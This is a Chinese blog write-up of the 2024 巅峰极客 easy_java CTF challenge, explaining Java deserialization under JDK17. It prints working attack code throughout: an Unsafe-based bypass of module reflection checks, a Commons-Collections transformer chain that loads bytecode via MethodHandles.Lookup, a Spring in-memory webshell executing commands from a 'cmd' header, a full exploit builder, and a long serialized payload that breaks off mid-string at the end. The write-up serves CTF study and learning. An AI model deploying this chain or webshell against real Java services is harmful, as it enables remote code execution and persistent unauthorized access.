从2024巅峰极客的easy_java学习jdk17下的反序列化


好久没更新博客了,水一篇

引入

最近在学rmi,有点看不太下去了,回来想想发现巅峰极客里面还有一道jdk17下的java反序列化不太会,所以就来重新学习一下。发现先知里有人发文章了,那这样就能够让我更好地跟着去学了,感谢!

直接摆文章上来:2024 巅峰极客 easy_java学习jdk17下打内存马方式

简单的分析已经在我的巅峰极客题解里有了,这里就再简单讲讲:

黑盒环境,题目页面仅有一句话:

only with jdk17 and cb

经过测试发现org.apache关键字被禁用

这里有一个得知道的小知识点就是高版本下的cb会自带有cc依赖,就像我下面这张图展示的一样:

此时我们的思路就逐渐地明确起来了,就是打commons-collections,同时由于过滤了关键字,此时我们就可以用UTF8 Overlong Encoding来绕过。

那问题就是,在高版本下我们有几个问题:

  • jdk17下,有反射的限制,在jdk17以及之后无法反射java.*包下非public修饰的属性。这是Oracle对java本身代码的安全性考虑所做出的保护。
  • 调试的时候可以知道高版本下并没有templatesImpl,并且这个环境是不出网了,因此我们要进行内存马的注入,没有templatesImpl我们要怎么注入内存马呢?

绕过反射限制

要绕过反射限制之前,还是补充一下不同jdk版本所做的限制

jdk8及以前

这个版本下的jdk对反射是没有一点限制的,我们平时做java的反序列化大多都在这个版本(指jdk8),我们各种java的poc都可以流畅地编写

jdk9-jdk16

从jdk9开始,当我们用反射去获取java.*包下的非public变量和方法的时候会报警告。由于我没有jdk9-jdk16的环境,所以我这里直接搬运一下pankas师傅的测试用例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

String evilClassBase64 = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS";
byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance();

}
}

这里通过反射去调用defineClass去加载恶意类,此时会出现警告:

1
2
3
4
5
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.example.Main (file:/E:/test/test/target/classes/) to method java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int)
WARNING: Please consider reporting this to the maintainers of org.example.Main
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

这里虽然是会报警告,但是还是能够正常地反射调用的。

jdk17+

在jdk17+下就会报错:

1
2
3
4
5
6
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @41629346
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at org.example.Main.main(Main.java:14)

这个就是因为在jdk17+下java启动了强封装机制,java.*下的非public字段和方法都无法通过反射进行获取调用

它的限制逻辑主要在setAccessible方法里

1
2
3
4
5
6
7
@Override
@CallerSensitive
public void setAccessible(boolean flag) {
AccessibleObject.checkPermission();
if (flag) checkCanSetAccessible(Reflection.getCallerClass());
setAccessible0(flag);
}

这里如果我们调用反射xxx.setAccessible(true)的话,这里的flag就是true,会进入checkCanSetAccessible(Reflection.getCallerClass())检查是否能够设置为true

接着看这个方法,最终会进入到java.lang.reflect.AccessibleObejct#checkCanSetAccessible(java.lang.Class<?>, java.lang.class<?>, boolean)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
private boolean checkCanSetAccessible(Class<?> caller,
Class<?> declaringClass,
boolean throwExceptionIfDenied) {
if (caller == MethodHandle.class) {
throw new IllegalCallerException(); // should not happen
}

Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();

if (callerModule == declaringModule) return true;
if (callerModule == Object.class.getModule()) return true;
if (!declaringModule.isNamed()) return true;

String pn = declaringClass.getPackageName();
int modifiers;
if (this instanceof Executable) {
modifiers = ((Executable) this).getModifiers();
} else {
modifiers = ((Field) this).getModifiers();
}

// class is public and package is exported to caller
boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());
if (isClassPublic && declaringModule.isExported(pn, callerModule)) {
// member is public
if (Modifier.isPublic(modifiers)) {
return true;
}

// member is protected-static
if (Modifier.isProtected(modifiers)
&& Modifier.isStatic(modifiers)
&& isSubclassOf(caller, declaringClass)) {
return true;
}
}

// package is open to caller
if (declaringModule.isOpen(pn, callerModule)) {
return true;
}

if (throwExceptionIfDenied) {
// not accessible
String msg = "Unable to make ";
if (this instanceof Field)
msg += "field ";
msg += this + " accessible: " + declaringModule + " does not \"";
if (isClassPublic && Modifier.isPublic(modifiers))
msg += "exports";
else
msg += "opens";
msg += " " + pn + "\" to " + callerModule;
InaccessibleObjectException e = new InaccessibleObjectException(msg);
if (printStackTraceWhenAccessFails()) {
e.printStackTrace(System.err);
}
throw e;
}
return false;
}

这段代码的逻辑就是判断我们是否能够将它setAccessible(true),这里有很多个return true,我们优先从头开始看:

1
2
3
4
5
6
Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();

if (callerModule == declaringModule) return true;
if (callerModule == Object.class.getModule()) return true;
if (!declaringModule.isNamed()) return true;

这里重点看前面两个:

1
2
if (callerModule == declaringModule) return true;
if (callerModule == Object.class.getModule()) return true;

这里补充一下:

caller就是我们当前运行的java文件

declaringClass是我们需要通过反射修改的类

此时我们return true的条件就是:

  • caller和我们反射调用的目标类的module是同一个
  • 或者caller的module和Object类的module是同一个

绕过限制

https://docs.oracle.com/en/java/javase/17/migrate/migrating-jdk-8-later-jdk-releases.html#GUID-7BB28E4D-99B3-4078-BDC4-FC24180CE82B

在官方文档里,提及了一点:

Note that the sun.misc and sun.reflect packages are available for reflection by tools and libraries in all JDK releases, including JDK 17.

也就是说在jdk17下,sun.miscsun.reflect包下的内容是可以正常反射调用的,因此我们可以使用sun.misc.Unsafe来进行绕过。通过Unsafe类里的getAndSetObject方法来修改调用类的module

这里就不墨迹了,直接放exp:

1
2
3
4
5
6
7
8
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);

使用例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;

import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {


String evilClassBase64 = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS";
byte[] bytes = Base64.getDecoder().decode(evilClassBase64);

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
// or
//unsafe.getAndSetObject(currentClass, offset, baseModule);

Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance();
}

}

公式绕过

集成以后的公式,注意有的地方是EXP().xxx,如果你的类名不叫EXP这里是需要改的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
//反射获取field
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
//反射修改值
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

//bypass jdk17 reflection limits
public static Object patchModule(String className) throws Exception{
final ArrayList<Class> classes = new ArrayList<>();
classes.add(Class.forName("java.lang.reflect.Field"));
classes.add(Class.forName("java.lang.reflect.Method"));
Class aClass = Class.forName(className);
classes.add(aClass);
new EXP().bypassModule(classes);
return aClass.newInstance();
}

//修改Module
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}

// 获取方法
private static Method getMethod(Class clazz,String methodName,Class[]
params) {
Method method = null;
while (clazz!=null){
try {method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}

// 反射获取Unsafe类
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}

要使用的时候就直接调用patchModule就可以了,一般只需要patchModule本类和需要使用到的java大类就可以了,例如本题中我们需要使用到UTF8Overlong,我们只需要:

1
2
patchModule(exp.class.getName());
patchModule(UTF8Overlong.class.getName());

templatesImpl替代

jdk17下已经不能够使用templatesImpl来加载恶意字节码了,我们需要找到一个新的替代类,这个替代类能够执行defineClass加载字节码

直接说结论,就是通过MethodHandlers的内部类Lookup来加载字节码

但是这个方法有一点限制:

1
2
3
4
5
6
public Class<?> defineClass(byte[] bytes) throws IllegalAccessException {
ensureDefineClassPermission();
if ((lookupModes() & PACKAGE) == 0)
throw new IllegalAccessException("Lookup does not have PACKAGE access");
return makeClassDefiner(bytes.clone()).defineClass(false);
}

跟进makeClassDefiner

1
2
3
4
private ClassDefiner makeClassDefiner(byte[] bytes) {
ClassFile cf = ClassFile.newInstance(bytes, lookupClass().getPackageName());
return new ClassDefiner(this, cf, STRONG_LOADER_LINK);
}

此时会传入我们的bytes,同时newInstance之前还有一个参数lookupClass().getPackageName()

这个其实就是我们调用lookup方法的包名,我们调用MethodHandles内部类Lookup的时候就是通过lookup方法实例化的:

1
2
3
public static Lookup lookup() {
return new Lookup(Reflection.getCallerClass());
}

传入的参数就是Reflection.getCallerClass()也就是我们的InvokerTransformer类

加载字节码的时候会进行一个判断,判断恶意类是否和调用者在同一个包下,只有同一个包下才会加载字节码

因此我们需要用chainedTransformer的方式去调这个defineClass

总之还是有公式:

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(MethodHandles.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("defineClass", new Class[]{byte[].class}, new Object[]{memcode}),
new InstantiateTransformer(new Class[0], new Object[0]),
new ConstantTransformer(1)
};

记一个SpringEcho

这里记一下SpringEcho的内存马,注意package:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package org.apache.commons.collections.functors;

import sun.misc.Unsafe;

import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {
private String getReqHeaderName() {
return "cmd";
}
public Evil() throws Exception {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get((Object) null);
Method getModuleMethod = Class.class.getDeclaredMethod("getModule");
Object module = getModuleMethod.invoke(Object.class);
Class cls = Evil.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(cls, offset, module);

this.run();
}
public void run() {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Object requestAttributes = this.invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = this.invokeMethod(requestAttributes, "getRequest");
Object response = this.invokeMethod(requestAttributes, "getResponse");
Method getHeaderM = request.getClass().getMethod("getHeader", String.class);
String cmd = (String)getHeaderM.invoke(request, getReqHeaderName());
if (cmd != null && !cmd.isEmpty()) {
Writer writer = (Writer)this.invokeMethod(response, "getWriter");
writer.write(this.exec(cmd));
writer.flush();
writer.close();
}
} catch (Exception var8) {}
}
private String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");
String execRes;
for(execRes = ""; s.hasNext(); execRes = execRes + s.next()) {
}
return execRes;
} catch (Exception var8) {
Exception e = var8;
return e.getMessage();
}
}
private Object invokeMethod(Object targetObject, String methodName) throws Exception {
return this.invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
private Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception {
Class clazz = obj instanceof Class ? (Class)obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while(method == null && tempClass != null) {
try {
if (paramClazz == null) {
Method[] methods = tempClass.getDeclaredMethods();
for(int i = 0; i < methods.length; ++i) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException var12) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException var10) {
throw new RuntimeException(var10.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException var11) {
throw new RuntimeException(var11.getMessage());
}
}
}
}
}

整理exp

这边就不用easy_java的exp了,直接在我自己的电脑上测试一下就可以了,UTF8Overlong的exp在博客里有,不过需要严格注意包名,都需要在commons.collections.functors包里

导入一个高版本的cb

运行的时候需要注意添加参数:

1
--add-exports=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-exports=jdk.unsupported/sun.misc=ALL-UNNAMED

整理得出的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class EXP {
public static void main(String[] args) throws Exception {

patchModule(EXP.class.getName());
patchModule(UTF8_overlong_encode.class.getName());

byte[] bytecode = Files.readAllBytes(Paths.get("D:\\java_project\\CC3_JDK17ver\\target\\classes\\org\\apache\\commons\\collections\\functors\\Evil.class"));

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(MethodHandles.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("defineClass", new Class[]{byte[].class}, new Object[]{bytecode}),
new InstantiateTransformer(new Class[0], new Object[0]),
new ConstantTransformer(1)
};
Map map = new HashMap();
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

Map lazyMap = LazyMap.decorate(map, transformerChain);
TiedMapEntry tme = new TiedMapEntry(lazyMap, "aaa");
Map hashMap = new HashMap();
hashMap.put(tme, "bbb");
map.remove("aaa");
setFieldValue(transformerChain, "iTransformers", transformers);

System.out.println(SerializeByB64(hashMap));

DeserializeByB64("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4IGp4IGu4IGnoPCkOHo7s0ICAAB4cHZxAH4AG3NxAH4AE3VxAH4AGAAAAAJwdXEAfgAYAAAAAHQABmludm9rZXVxAH4AGwAAAAJ2cgAw4IGq4IGh4IG24IGh4ICu4IGs4IGh4IGu4IGn4ICu4IGP4IGi4IGq4IGl4IGj4IG0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VxAH4AGAAAAAF1cgAG4IGb4IGCrPMX+AYIVOACAAB4cAAAB2PK/rq+AAAAPQBiCgACAAMHAAQMAAUABgEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYIAAgBAA9zdW4ubWlzYy5VbnNhZmUKAAoACwcADAwADQAOAQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsIABABAAl0aGVVbnNhZmUKAAoAEgwAEwAUAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoAFgAXBwAYDAAZABoBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWCgAWABwMAB0AHgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwAgAQAPc3VuL21pc2MvVW5zYWZlCAAiAQAJZ2V0TW9kdWxlCgAKACQMACUAJgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAKAApBwAqDAArACwBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAC4BACxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvZnVuY3RvcnMvRXZpbAgAMAEABm1vZHVsZQoAHwAyDAAzADQBABFvYmplY3RGaWVsZE9mZnNldAEAHChMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7KUoKAB8ANgwANwA4AQAPZ2V0QW5kU2V0T2JqZWN0AQA5KExqYXZhL2xhbmcvT2JqZWN0O0pMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgA6ADsHADwMAD0APgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgAQAEABGNhbGMKADoAQgwAQwBEAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcARgEAE2phdmEvbGFuZy9FeGNlcHRpb24KAEUASAwASQAGAQAPcHJpbnRTdGFja1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAuTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9mdW5jdG9ycy9FdmlsOwEAC3Vuc2FmZUNsYXNzAQARTGphdmEvbGFuZy9DbGFzczsBAAt1bnNhZmVGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAZ1bnNhZmUBABFMc3VuL21pc2MvVW5zYWZlOwEAD2dldE1vZHVsZU1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQASTGphdmEvbGFuZy9PYmplY3Q7AQADY2xzAQAGb2Zmc2V0AQABSgEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhACEALQACAAAAAAACAAEABQAGAAIASgAAAUwABQAKAAAAaSq3AAESB7gACUwrEg+2ABFNLAS2ABUsAbYAG8AAH04SChIhA70ACrYAIzoEGQQSAgO9